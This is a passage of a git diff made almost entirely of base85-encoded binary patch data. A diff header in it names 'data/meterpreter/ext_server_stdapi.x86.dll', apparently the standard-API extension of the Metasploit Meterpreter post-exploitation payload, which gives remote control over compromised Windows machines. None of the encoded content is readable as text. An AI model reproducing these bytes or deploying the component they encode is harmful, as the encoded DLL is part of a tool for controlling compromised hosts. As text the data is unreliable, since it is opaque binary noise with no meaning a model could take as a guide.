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 Qaqjx!`fWAuqy^Le7s!R=Y5)KL diff --git a/data/meterpreter/ext_server_stdapi.x86.dll b/data/meterpreter/ext_server_stdapi.x86.dll index 0a40e582b82443aa60b3bd29bf249ec9bd794636..1999453839d525d00c491013307123ec90f120b1 100755 GIT binary patch delta 125367 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 